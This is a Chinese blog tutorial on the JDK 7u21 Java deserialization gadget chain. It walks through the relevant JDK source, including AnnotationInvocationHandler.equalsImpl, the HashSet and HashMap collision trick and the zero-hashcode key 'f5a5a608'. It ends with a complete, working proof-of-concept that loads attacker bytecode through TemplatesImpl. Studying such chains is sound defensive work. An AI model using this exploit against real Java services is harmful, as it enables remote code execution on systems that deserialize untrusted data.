当前位置: 首页 > article >正文

java原生反序列化利用链7u21的学习

一、前言

在之前的反序列化利用链学习中,前提条件都用到了第三方库,那么如果不利用第三方类库,是否能进行反序列化利用链呢? 答案是可以的,那就是 JDK7u21, 但是它适用于 java 7u21及之前的版本。所以使用这条利用链,需要将项目版本设置为 7u21 。

二、7u21利用链的原理

回顾下之前CC链的知识, CommonsCollections系列发序列化的核心的在于那一堆的 Transformer,特别是其中的 InvokerTransformer、InstantiateTransformer; CommonsBeanutils反序列化的核心点是 PropertyUtils#getProperty,因为这个方法会触发任意对象的 getter。

而JDK7u21的核心点就是 sun.reflect.annotation.AnnotationInvocationHandler ; 其正是我们学习cc1链中利用到的类,用于其触发Map#put 和 Map#get 的特点。

在这里,我们进一步了解下 AnnotationInvocationHandler类中的 equalsImpl 方法,这也是7u21利用链的关键点:

sun.reflect.annotation.AnnotationInvocationHandler.java
   
 private Boolean equalsImpl(Object o) {
        if (o == this)
            return true;

        if (!type.isInstance(o))
            return false;
        for (Method memberMethod : getMemberMethods()) {
            String member = memberMethod.getName();
            Object ourValue = memberValues.get(member);
            Object hisValue = null;
            AnnotationInvocationHandler hisHandler = asOneOfUs(o);
            if (hisHandler != null) {
                hisValue = hisHandler.memberValues.get(member);
            } else {
                try {
                    hisValue = memberMethod.invoke(o);
                } catch (InvocationTargetException e) {
                    return false;
                } catch (IllegalAccessException e) {
                    throw new AssertionError(e);
                }
            }
            if (!memberValueEquals(ourValue, hisValue))
                return false;
        }
        return true;
    }
    private transient volatile Method[] memberMethods = null;
    private Method[] getMemberMethods() {
        if (memberMethods == null) {
            memberMethods = AccessController.doPrivileged(
                    new PrivilegedAction<Method[]>() {
                        public Method[] run() {
                            final Method[] mm = type.getDeclaredMethods();
                            AccessibleObject.setAccessible(mm, true);
                            return mm;
                        }
                    });
        }
        return memberMethods;
    }

equalsImpl() 方法明显会调用 memberMethod.invoke(o) ,而 memberMethod 来自于 this.type.getDeclaredMethods() 。

也就是说 equalsImpl()  方法将 this.type类中所有方法都遍历且执行了。 那么,假设 this.type是 Templates 类, 则必然会调用到其中的 newTransformer() 或 getOutputProperties() 方法,且当euqalsImpl(Object o) 传入的值为恶意的TemplatesImpl实例, 进而触发任意代码执行。

而this.type来源于其构造函数的第一个参数:

sun.reflect.annotation.AnnotationInvocationHandler.java    

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        this.type = var1;
        this.memberValues = var2;
    }

所以,创建AnnotationInvocationHandler实例时可以指定其为 TemplatesImpl 类。

三、如何调用 equalsImpl

如上所说,那么我们要寻找的就是通过反序列化调用 sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl 方法,equalsImpl 是一个私有方法,在 sun.reflect.annotation.AnnotationInvocationHandler#invoke()  被调用。

sun.reflect.annotation.AnnotationInvocationHandler 实际是一个 InvocationHandler,而InvocationHandler是一个接口,它只有一个方法 invoke

public interface InvocationHandler {
    public Object invoke(Object proxy, Method method, Object[] args)
        throws Throwable;
}

在使用 java.reflect.Proxy 动态绑定一个接口时,如果调用该接口中任意一个方法,会执行到 InvocationHandler#invoke 。 执行invoke时, 被传入的第一个参数就是这个proxy对象,第二个参数是被执行的方法名,第三个参数是执行时的参数列表。

sun.reflect.annotation.AnnotationInvocationHandler 就是一个 InvocationHandler 接口的实现,我们看看其 invoke 方法

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();
    // Handle Object and Annotation methods
    //当执行invoke()方法时传入的方法名字为equals并且形参只有一个,类型为Object就会执行      equalsImpl()
    if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    assert paramTypes.length == 0;
    if (member.equals("toString"))
        return toStringImpl();
    if (member.equals("hashCode"))
        return hashCodeImpl();
    if (member.equals("annotationType"))
        return type;
    // ...

在cc1链中,我们就是利用的其invoke() 方法,不过当时利用的是 Object var6 = this.memberValues.get(var4) this.memberValues 等于一个 LazyMap对象,让其调用 get() 方法,就可以执行cc1利用链了。不过现在我们关注点不在这里,我们关注 equals 部分,在这部分中当方法名等于 “equals"  ,且仅有一个Object类型参数时, 会调用到 equalsImpl 方法,并将invoke的第三个参数传递给 equalsImpl() 方法。

所以我们现在需要找到一个类,它在反序列化时,会间接的对proxy对象调用 equals() 方法。

四、找到HashSet通过反序列化间接执行equals() 方法

HashSet可以实现这个调用,我们查看HashSet的readObject 方法:
 

java.util.HashSet.java

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in any hidden serialization magic
        s.defaultReadObject();

        // Read in HashMap capacity and load factor and create backing HashMap
        int capacity = s.readInt();
        float loadFactor = s.readFloat();
        map = (((HashSet)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));

        // Read in size
        int size = s.readInt();

        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }

这里使用了一个HashMap, 将对象保存在 HashMap的key处来做去重。 

HashMap,就是数据结构里的哈希表,哈希表是由数组+链表实现的---哈希表底层保存在一个数组中,数组的索引由哈希表的 key.hashCode() 经过计算得到,数组的值是一个链表,所有哈希碰撞到相同索引的 key-value ,都会被链接到这个链表后面。

故而,为了触发比较操作,我们需要让比较与被比较的两个对象的哈希相同,这样才能链接到同一条链表上,才会进行比较。

继续跟进 HashMap 的put方法:

java.util.HashMap.java

    public V put(K key, V value) {
        if (key == null)
            return putForNullKey(value);
        int hash = hash(key);
        int i = indexFor(hash, table.length);
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
                V oldValue = e.value;
                e.value = value;
                e.recordAccess(this);
                return oldValue;
            }
        }

        modCount++;
        addEntry(hash, key, value, i);
        return null;
    }

变量 i 就是这个所谓的 "哈希" 。两个不同的对象的 i 相等时, 才会执行 key.equals(k),触发前面说过的代码执行。

这里我们假设 key 是  Proxy 代理对象,并且这里传入的 k 是一个 TemplatesImpl 恶意对象,那么就会执行 AnnotationInvocationHandler 的 invoker() 方法,从而执行equalsImpl() 中的 invoker()方法, 最终调用 TemplatesImpl恶意对象的 newTransformer() 方法。

但是这里有个前提,就是得让 Proxy代理对象 和 TemplatesImpl 对象的 哈希相等

五、如何让 Hash相等?

我们先看看HashMap 中的 hash() 方法:

java.util.HashMap.java

    final int hash(Object k) {
        int h = 0;
        if (useAltHashing) {
            if (k instanceof String) {
                return sun.misc.Hashing.stringHash32((String) k);
            }
            h = hashSeed;
        }

        h ^= k.hashCode();

        // This function ensures that hashCodes that differ only by
        // constant multiples at each bit position have a bounded
        // number of collisions (approximately 8 at default load factor).
        h ^= (h >>> 20) ^ (h >>> 12);
        return h ^ (h >>> 7) ^ (h >>> 4);
    }

这里只用到了一个变量 k.hashCode(), 其他的都相等, 所以 Proxy 对象 与 TemplatesImpl对象的 “哈希" 是否相等,仅取决于这两个对象的hashCode() 是否相等。

TemplatesImpl 的hashCode() 是一个Native方法, 每次运行时都会发生变化,我们理论上是无法预测的,所以想要两者的 hashCode() 相等,只能看 Proxy.hashCode() 。

proxy.hashCode() 仍然会调用到 AnnotationInvocationHandler#invoke ,进而调用到

AnnotationInvocationHandler#hashCodeImpl ,我们看看这个方法:

private int hashCodeImpl() {
    int result = 0;
    for (Map.Entry<String, Object> e : memberValues.entrySet()) {
        result += (127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue());
    }
    return result;
}

遍历 memberValues 这个Map中的每个keyvalue,计算每个 (127 * key.hashCode()) ^value.hashCode() 并求和。

JDK7u21中使用了一个非常巧妙的方法:

  • memberValues 中只有一个key和一个value时,该哈希简化成 (127 * key.hashCode()) ^ value.hashCode()
  • key.hashCode() 等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成 value.hashCode()
  • value 就是TemplatesImpl对象时,这两个哈希就变成完全相等

所以,我们找到一个hashCode0的对象作为 memberValues key,将恶意TemplatesImpl对象作为 value,这个proxy计算的hashCode就与TemplatesImpl对象本身的hashCode相等了。

找一个hashCode0的对象,我们可以写一个简单的爆破程序来实现:

public static void bruteHashCode(){
    for (long i = 0; i < 9999999999L; i++) {
        if (Long.toHexString(i).hashCode() == 0) {
            System.out.println(Long.toHexString(i));
        }
    }
}

跑出来第一个是 f5a5a608 ,这个也是ysoserial中用到的字符串

六、利用链梳理

根据上面的描述,理一下思路:
1、先创建一个 恶意 TemplatesImpl对象:

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(evil.class.getName()).toBytecode()
        });
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

2、为了使Proxy 和 TemplatesImpl的 hash相等,以便执行 equals() ,我们需要让 AnnotationInvocationHandler 的 this.memberValues 等于一个 HashMap 并且只有一个元素: key为 f5a5a608 , value为:TemplatesImpl 对象, 这样由 AnnotationInvocationHandler 组成的 代理对象 proxy 与 TemplatesImpl 的hash就会相等

创建一个 HashMap和实例化AnnotationInvocationHandler 对象:

        String zeroHashCodeStr = "f5a5a608";

        // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        // 实例化AnnotationInvocationHandler类
        Constructor handlerConstructor =     Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

实例化的AnnotationInvocationHandler对象:

  • 它的type属性是一个TemplateImpl类
  • 它的memberValues属性是一个Map, Map只有一个key和value,key是字符串 f5a5a608, value是前面生成的恶意TemplatesImpl 对象

3、对这个 AnnotationInvocationHandler 对象做一层代理,生成proxy对象

        // 为tempHandler创造一层代理
        Templates proxy = (Templates) Proxy.newProxyInstance(java7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

4、实例化 HashSet

        // 实例化HashSet,并将两个对象放进去
        HashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

添加的先后顺序要注意一下,Proxy应该放在后面,这样才会调用Proxy#equals() 

5、将HashSet对象进行序列化

6、最后,反序列化触发代码执行的流程如下:

  • 触发HashSet的readObject方法, 其中使用 HashMap的key做去重
  • 去重时计算HashSet中两个元素的hashCode(), 因为我们精心构造,所以二者相等, 进而触发 equals() 方法
  • 调用 AnnotationInvocationHandler#equalsImpl 方法
  • equalsImpl 中遍历 this.type 的每个方法并调用
  • 因为this.type 是 TemplatesImpl类,所以触发了 newTransform() 或 getOutputProperties() 方法
  • 任意方法执行

7、完整poc如下,执行环境:jdk7u21

java7u21.java


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class java7u21 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(evil.class.getName()).toBytecode()
        });
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        String zeroHashCodeStr = "f5a5a608";

        // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        // 实例化AnnotationInvocationHandler类
        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

        // 为tempHandler创造一层代理
        Templates proxy = (Templates) Proxy.newProxyInstance(evil.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

        // 实例化HashSet,并将两个对象放进去
        HashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

        // 将恶意templates设置到map中
        map.put(zeroHashCodeStr, templates);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(set);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}


http://www.kler.cn/a/419660.html

相关文章:

  • 【MySql】navicat连接报2013错误
  • 002-日志增强版
  • 服务器数据恢复—EVA存储硬盘磁头和盘片损坏离线的数据恢复案例
  • C++学习日记---第16天
  • Brain.js(二):项目集成方式详解——npm、cdn、下载、源码构建
  • Django 视图层
  • CCNA_SEC 第五天作业
  • 一款适用于教育行业的免费word插件
  • Stable Diffusion介绍
  • ARM 嵌入式处理器内核与架构深度剖析:解锁底层技术逻辑
  • Java中Logger定义的三种方式
  • 多点DMALL启动招股:将在港交所上市,聚焦数字零售服务
  • 在anaconda中为jupyter安装Nbextensions扩展
  • C++初阶——动态内存管理
  • android studio引用so库
  • 【Linux】文件操作的艺术——从基础到精通
  • 深度学习-52-AI应用实战之基于Yolo8的目标检测自动标注
  • 剖析go协程池实现原理
  • (简单5步实现)部署本地AI大语言模型聊天系统:Chatbox AI + grok2.0大模型
  • 6.824/6.5840 Lab 2: Key/Value Server
  • 农业强国助农平台:科技赋能,助力乡村振兴
  • 【学习笔记】检测基于RTOS的设计中的堆栈溢出-第2部分
  • 威胁驱动的网络安全方法论
  • 如何在 Ubuntu 18.04 上设置 Apache 虚拟主机
  • 家校通小程序实战教程03学生管理
  • 【特斯拉的自动驾驶好在哪】